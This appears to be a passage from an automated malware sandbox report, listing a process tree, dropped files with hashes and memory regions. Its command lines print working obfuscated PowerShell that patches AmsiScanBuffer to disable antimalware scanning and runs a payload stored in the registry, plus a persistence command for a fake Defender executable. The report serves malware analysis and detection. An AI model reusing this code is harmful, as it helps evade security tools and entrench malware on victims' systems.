,Hi'+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+[Char](105)+'g,'+'N'+'e'+'w'+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$RiCnzyrqQh,$QfVsiENQRBSjzA).SetImplementationFlags('Run'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+''+'n'+'a'+'g'+'ed');Write-Output $MIoyNGutNKc.CreateType();}$ookXaxfJsRRLd=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2.'+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](111)+''+[Char](111)+'k'+[Char](88)+''+[Char](97)+''+[Char](120)+''+[Char](102)+''+[Char](74)+''+[Char](115)+''+'R'+''+[Char](82)+''+[Char](76)+''+[Char](100)+'');$MLFGApAUrAlmnm=$ookXaxfJsRRLd.GetMethod(''+[Char](77)+''+'L'+''+'F'+''+[Char](71)+'A'+[Char](112)+''+'A'+'U'+[Char](114)+''+[Char](65)+''+'l'+''+'m'+''+'n'+'m',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+'li'+[Char](99)+''+','+''+'S'+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$WvJQGbIWVfltBIMiMFk=psJNWpAQrYlv @([String])([IntPtr]);$qvHWQcUHfwqnrvNbGoOagg=psJNWpAQrYlv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$NGJlwVHVpPA=$ookXaxfJsRRLd.GetMethod(''+'G'+''+[Char](101)+''+'t'+'M'+'o'+''+[Char](100)+'ul'+'e'+''+[Char](72)+'a'+'n'+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](100)+''+'l'+'l')));$breQmhQCwGuBys=$MLFGApAUrAlmnm.Invoke($Null,@([Object]$NGJlwVHVpPA,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+'Li'+'b'+''+[Char](114)+'a'+'r'+''+'y'+''+[Char](65)+'')));$FHlIxdUaaDkqHqBcm=$MLFGApAUrAlmnm.Invoke($Null,@([Object]$NGJlwVHVpPA,[Object](''+[Char](86)+'i'+'r'+''+'t'+''+'u'+'a'+'l'+''+'P'+'r'+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$dwImXxs=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($breQmhQCwGuBys,$WvJQGbIWVfltBIMiMFk).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i.'+[Char](100)+''+[Char](108)+''+[Char](108)+'');$EMyWzisSesRlfPpOE=$MLFGApAUrAlmnm.Invoke($Null,@([Object]$dwImXxs,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+''+[Char](83)+'c'+[Char](97)+''+[Char](110)+''+'B'+'u'+[Char](102)+''+'f'+'e'+[Char](114)+'')));$lJYLGRAkoa=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FHlIxdUaaDkqHqBcm,$qvHWQcUHfwqnrvNbGoOagg).Invoke($EMyWzisSesRlfPpOE,[uint32]8,4,[ref]$lJYLGRAkoa);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$EMyWzisSesRlfPpOE,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FHlIxdUaaDkqHqBcm,$qvHWQcUHfwqnrvNbGoOagg).Invoke($EMyWzisSesRlfPpOE,[uint32]8,0x20,[ref]$lJYLGRAkoa);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+'A'+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+'i'+'al'+[Char](101)+'r'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)
                                            1⤵
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:64
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ulqMZEKFdjNH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$SjfnAHehruZdmw,[Parameter(Position=1)][Type]$qaYPLiwuHX)$BUPUSmEjvxg=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InM'+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+''+'e'+''+'l'+''+'e'+'ga'+[Char](116)+''+'e'+''+'T'+''+[Char](121)+'p'+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+[Char](80)+'u'+'b'+''+[Char](108)+'i'+'c'+''+','+'Se'+[Char](97)+''+[Char](108)+''+'e'+''+'d'+','+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+'A'+'u'+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$BUPUSmEjvxg.DefineConstructor('R'+'T'+''+'S'+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+'a'+''+'l'+''+'N'+'a'+[Char](109)+''+'e'+''+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+',Pu'+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$SjfnAHehruZdmw).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+'a'+''+'n'+''+[Char](97)+''+[Char](103)+'e'+'d'+'');$BUPUSmEjvxg.DefineMethod(''+[Char](73)+'n'+'v'+''+'o'+''+[Char](107)+'e',''+[Char](80)+''+[Char](117)+''+'b'+'li'+'c'+''+[Char](44)+''+[Char](72)+'id'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+','+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+'t,'+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$qaYPLiwuHX,$SjfnAHehruZdmw).SetImplementationFlags('Ru'+'n'+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'na'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $BUPUSmEjvxg.CreateType();}$AEByjpqxOMznF=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+[Char](116)+'e'+'m'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+'f'+''+'t'+''+'.'+'Wi'+[Char](110)+'3'+[Char](50)+''+[Char](46)+'U'+'n'+'s'+[Char](97)+''+'f'+''+'e'+''+[Char](65)+'EB'+[Char](121)+''+[Char](106)+''+[Char](112)+''+[Char](113)+'x'+[Char](79)+'M'+'z'+''+[Char](110)+'F');$yMGtqSvVduSiCg=$AEByjpqxOMznF.GetMethod(''+'y'+''+[Char](77)+'Gtq'+[Char](83)+''+[Char](118)+'V'+[Char](100)+'uSiCg',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$HQwmtereYbGXZrpZxyf=ulqMZEKFdjNH @([String])([IntPtr]);$MchzwrzYYfQYWLzkLfoGEY=ulqMZEKFdjNH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kaeQjRzhrBA=$AEByjpqxOMznF.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'Mo'+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+'H'+''+'a'+'nd'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+'el'+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+'l')));$FouLSyvEIYRxpA=$yMGtqSvVduSiCg.Invoke($Null,@([Object]$kaeQjRzhrBA,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$xlKftmpEfPHQzbKPQ=$yMGtqSvVduSiCg.Invoke($Null,@([Object]$kaeQjRzhrBA,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+'alP'+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+''+'c'+''+'t'+'')));$AbsXCgR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FouLSyvEIYRxpA,$HQwmtereYbGXZrpZxyf).Invoke(''+'a'+''+'m'+''+[Char](115)+''+'i'+''+'.'+''+'d'+''+[Char](108)+'l');$NhXRftmawLxNQemBa=$yMGtqSvVduSiCg.Invoke($Null,@([Object]$AbsXCgR,[Object](''+[Char](65)+'m'+'s'+'i'+[Char](83)+'ca'+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+'f'+'e'+[Char](114)+'')));$PIykjhaOpH=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xlKftmpEfPHQzbKPQ,$MchzwrzYYfQYWLzkLfoGEY).Invoke($NhXRftmawLxNQemBa,[uint32]8,4,[ref]$PIykjhaOpH);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NhXRftmawLxNQemBa,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xlKftmpEfPHQzbKPQ,$MchzwrzYYfQYWLzkLfoGEY).Invoke($NhXRftmawLxNQemBa,[uint32]8,0x20,[ref]$PIykjhaOpH);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'FT'+'W'+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)
                                            1⤵
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:5028
                                          • C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
                                            "C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe"
                                            1⤵
                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                            • Executes dropped EXE
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:2764
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nefucvtr#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                                              2⤵
                                                PID:856
                                            • C:\Windows\System32\dllhost.exe
                                              C:\Windows\System32\dllhost.exe /Processid:{c51bd4c8-cc04-4371-ae7b-618cdad5a45c}
                                              1⤵
                                                PID:2208

                                              Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

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                                                    Downloads

                                                    g.log

                                                    • Path C:\Program Files\Google\Libs\g.log
                                                    • Size 226B
                                                    • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                                                    • MD5 SHA1 SHA512

                                                    SmartScreenQC.exe

                                                    • Path C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
                                                    • Size 3.7MB
                                                    • SHA256 d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    SmartScreenQC.exe

                                                    • Path C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe
                                                    • Size 3.6MB
                                                    • SHA256 9a3e26337589d76061479f7c984b79c478de429b78f24f5cd289189913c6d19d
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    powershell.exe.log

                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                    • Size 2KB
                                                    • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                                    • MD5 SHA1 SHA512

                                                    StartupProfileData-NonInteractive

                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    • Size 19KB
                                                    • SHA256 41c65c603170c500dbd31c12b147a49aebf9d32ab2e71281e87882f4c6f3c0a4
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    StartupProfileData-NonInteractive

                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    • Size 948B
                                                    • SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
                                                    • MD5 SHA1 SHA512

                                                    StartupProfileData-NonInteractive

                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    • Size 1KB
                                                    • SHA256 5427dfb4d22bef830b6f6b395b51489a791db48865572adfcb2f8c752293aae7
                                                    • MD5 SHA1 SHA512

                                                    C4Loader.exe

                                                    • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                                                    • Size 2.7MB
                                                    • SHA256 88e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    C4Loader.exe

                                                    • Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                                                    • Size 2.7MB
                                                    • SHA256 88e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    SmartDefRun.exe

                                                    • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                                                    • Size 3.7MB
                                                    • SHA256 d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    SmartDefRun.exe

                                                    • Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                                                    • Size 3.7MB
                                                    • SHA256 d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    SysApp.exe

                                                    • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                                                    • Size 1.4MB
                                                    • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    SysApp.exe

                                                    • Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                                                    • Size 1.4MB
                                                    • SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    new2.exe

                                                    • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                                                    • Size 248KB
                                                    • SHA256 5d5e9a03a29d4e638a175b889a5bb73fbcb0809ac83aa6966324fe86ac408d17
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    new2.exe

                                                    • Path C:\Users\Admin\AppData\Local\Temp\new2.exe
                                                    • Size 248KB
                                                    • SHA256 5d5e9a03a29d4e638a175b889a5bb73fbcb0809ac83aa6966324fe86ac408d17
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    powershell.exe.log

                                                    • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                    • Size 4KB
                                                    • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                                                    • MD5 SHA1 SHA512 SSDEEP

                                                    StartupProfileData-NonInteractive

                                                    • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    • Size 1KB
                                                    • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                                                    • MD5 SHA1 SHA512

                                                    StartupProfileData-NonInteractive

                                                    • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                    • Size 1KB
                                                    • SHA256 7036d1846c9dc18e19b6391a8bcfbb110006c35791673f05ebf378d7c16c6d5f
                                                    • MD5 SHA1 SHA512

                                                    memory/380-188-0x00007FFA06B90000-0x00007FFA07651000-memory.dmp

                                                    memory/380-181-0x000001DFBFEA0000-0x000001DFBFEC2000-memory.dmp

                                                    memory/380-183-0x00007FFA06B90000-0x00007FFA07651000-memory.dmp

                                                    memory/580-265-0x00007FF9E5890000-0x00007FF9E58A0000-memory.dmp

                                                    memory/856-245-0x000002D8EFA59000-0x000002D8EFA5F000-memory.dmp

                                                    memory/856-246-0x00007FFA06DB0000-0x00007FFA07871000-memory.dmp

                                                    memory/856-241-0x00007FFA06DB0000-0x00007FFA07871000-memory.dmp

                                                    memory/1416-203-0x00000000027B1000-0x00000000028EE000-memory.dmp

                                                    memory/1416-219-0x00000000022AB000-0x00000000027AF000-memory.dmp

                                                    memory/1416-189-0x00000000022AB000-0x00000000027AF000-memory.dmp

                                                    memory/1416-243-0x00000000027B1000-0x00000000028EE000-memory.dmp

                                                    memory/1424-180-0x0000000000220000-0x000000000025E000-memory.dmp

                                                    memory/1424-176-0x0000000000220000-0x000000000025E000-memory.dmp

                                                    memory/2208-249-0x0000000140000000-0x0000000140029000-memory.dmp

                                                    memory/2208-258-0x0000000140000000-0x0000000140029000-memory.dmp

                                                    memory/2208-262-0x00007FFA25810000-0x00007FFA25A05000-memory.dmp

                                                    memory/2208-263-0x00007FFA255D0000-0x00007FFA2568E000-memory.dmp

                                                    memory/2236-204-0x00007FFA06B90000-0x00007FFA07651000-memory.dmp

                                                    memory/2236-193-0x00007FFA06B90000-0x00007FFA07651000-memory.dmp

                                                    memory/2316-147-0x00000000064B0000-0x00000000064E2000-memory.dmp

                                                    memory/2316-157-0x0000000007590000-0x00000000075B2000-memory.dmp

                                                    memory/2316-155-0x0000000007480000-0x000000000749A000-memory.dmp

                                                    memory/2316-142-0x00000000050C0000-0x00000000056E8000-memory.dmp

                                                    memory/2316-156-0x0000000007470000-0x0000000007478000-memory.dmp

                                                    memory/2316-151-0x0000000007200000-0x000000000721A000-memory.dmp

                                                    memory/2316-150-0x0000000007840000-0x0000000007EBA000-memory.dmp

                                                    memory/2316-149-0x0000000006490000-0x00000000064AE000-memory.dmp

                                                    memory/2316-152-0x0000000007270000-0x000000000727A000-memory.dmp

                                                    memory/2316-148-0x0000000074F00000-0x0000000074F4C000-memory.dmp

                                                    memory/2316-154-0x0000000007430000-0x000000000743E000-memory.dmp

                                                    memory/2316-146-0x0000000005ED0000-0x0000000005EEE000-memory.dmp

                                                    memory/2316-145-0x0000000005850000-0x00000000058B6000-memory.dmp

                                                    memory/2316-144-0x00000000057E0000-0x0000000005846000-memory.dmp

                                                    memory/2316-143-0x0000000005050000-0x0000000005072000-memory.dmp

                                                    memory/2316-153-0x00000000074C0000-0x0000000007556000-memory.dmp

                                                    memory/2316-158-0x0000000008470000-0x0000000008A14000-memory.dmp

                                                    memory/2316-141-0x0000000004930000-0x0000000004966000-memory.dmp

                                                    memory/2332-213-0x0000000006910000-0x000000000692E000-memory.dmp

                                                    memory/2332-186-0x0000000005700000-0x000000000580A000-memory.dmp

                                                    memory/2332-187-0x0000000005630000-0x000000000566C000-memory.dmp

                                                    memory/2332-185-0x00000000055D0000-0x00000000055E2000-memory.dmp

                                                    memory/2332-227-0x00000000070D0000-0x0000000007120000-memory.dmp

                                                    memory/2332-210-0x00000000065E0000-0x0000000006656000-memory.dmp

                                                    memory/2332-174-0x0000000000400000-0x0000000000420000-memory.dmp

                                                    memory/2332-221-0x00000000078C0000-0x0000000007DEC000-memory.dmp

                                                    memory/2332-220-0x00000000071C0000-0x0000000007382000-memory.dmp

                                                    memory/2332-184-0x0000000005B70000-0x0000000006188000-memory.dmp

                                                    memory/4004-264-0x000001D45A860000-0x000001D45A880000-memory.dmp

                                                    memory/4312-133-0x0000000000400000-0x0000000000405000-memory.dmp

                                                    memory/4312-139-0x0000000000400000-0x0000000000405000-memory.dmp

                                                    memory/4384-226-0x000002207E1C0000-0x000002207E1CA000-memory.dmp

                                                    memory/4384-222-0x000002207E170000-0x000002207E17A000-memory.dmp

                                                    memory/4384-216-0x000002207DF40000-0x000002207DF5C000-memory.dmp

                                                    memory/4384-217-0x000002207E020000-0x000002207E02A000-memory.dmp

                                                    memory/4384-228-0x00007FFA06DB0000-0x00007FFA07871000-memory.dmp

                                                    memory/4384-225-0x000002207E1B0000-0x000002207E1B6000-memory.dmp

                                                    memory/4384-224-0x000002207E180000-0x000002207E188000-memory.dmp

                                                    memory/4384-218-0x000002207E190000-0x000002207E1AC000-memory.dmp

                                                    memory/4384-223-0x000002207E1D0000-0x000002207E1EA000-memory.dmp

                                                    memory/4384-215-0x00007FFA06DB0000-0x00007FFA07871000-memory.dmp

                                                    memory/4556-171-0x00000000058E0000-0x00000000058EA000-memory.dmp

                                                    memory/4556-165-0x0000000005370000-0x0000000005402000-memory.dmp

                                                    memory/4556-164-0x0000000000850000-0x0000000000B04000-memory.dmp

                                                    memory/5028-244-0x00007FFA06DB0000-0x00007FFA07871000-memory.dmp

                                                    memory/5028-253-0x00007FFA06DB0000-0x00007FFA07871000-memory.dmp

                                                    memory/5028-214-0x00007FFA06DB0000-0x00007FFA07871000-memory.dmp

                                                    memory/5028-254-0x00007FFA25810000-0x00007FFA25A05000-memory.dmp

                                                    memory/5028-255-0x00007FFA255D0000-0x00007FFA2568E000-memory.dmp

                                                    memory/5028-247-0x00007FFA25810000-0x00007FFA25A05000-memory.dmp

                                                    memory/5028-248-0x00007FFA255D0000-0x00007FFA2568E000-memory.dmp

                                                    memory/5052-212-0x00007FFA06DB0000-0x00007FFA07871000-memory.dmp

                                                    memory/5052-207-0x00007FFA06DB0000-0x00007FFA07871000-memory.dmp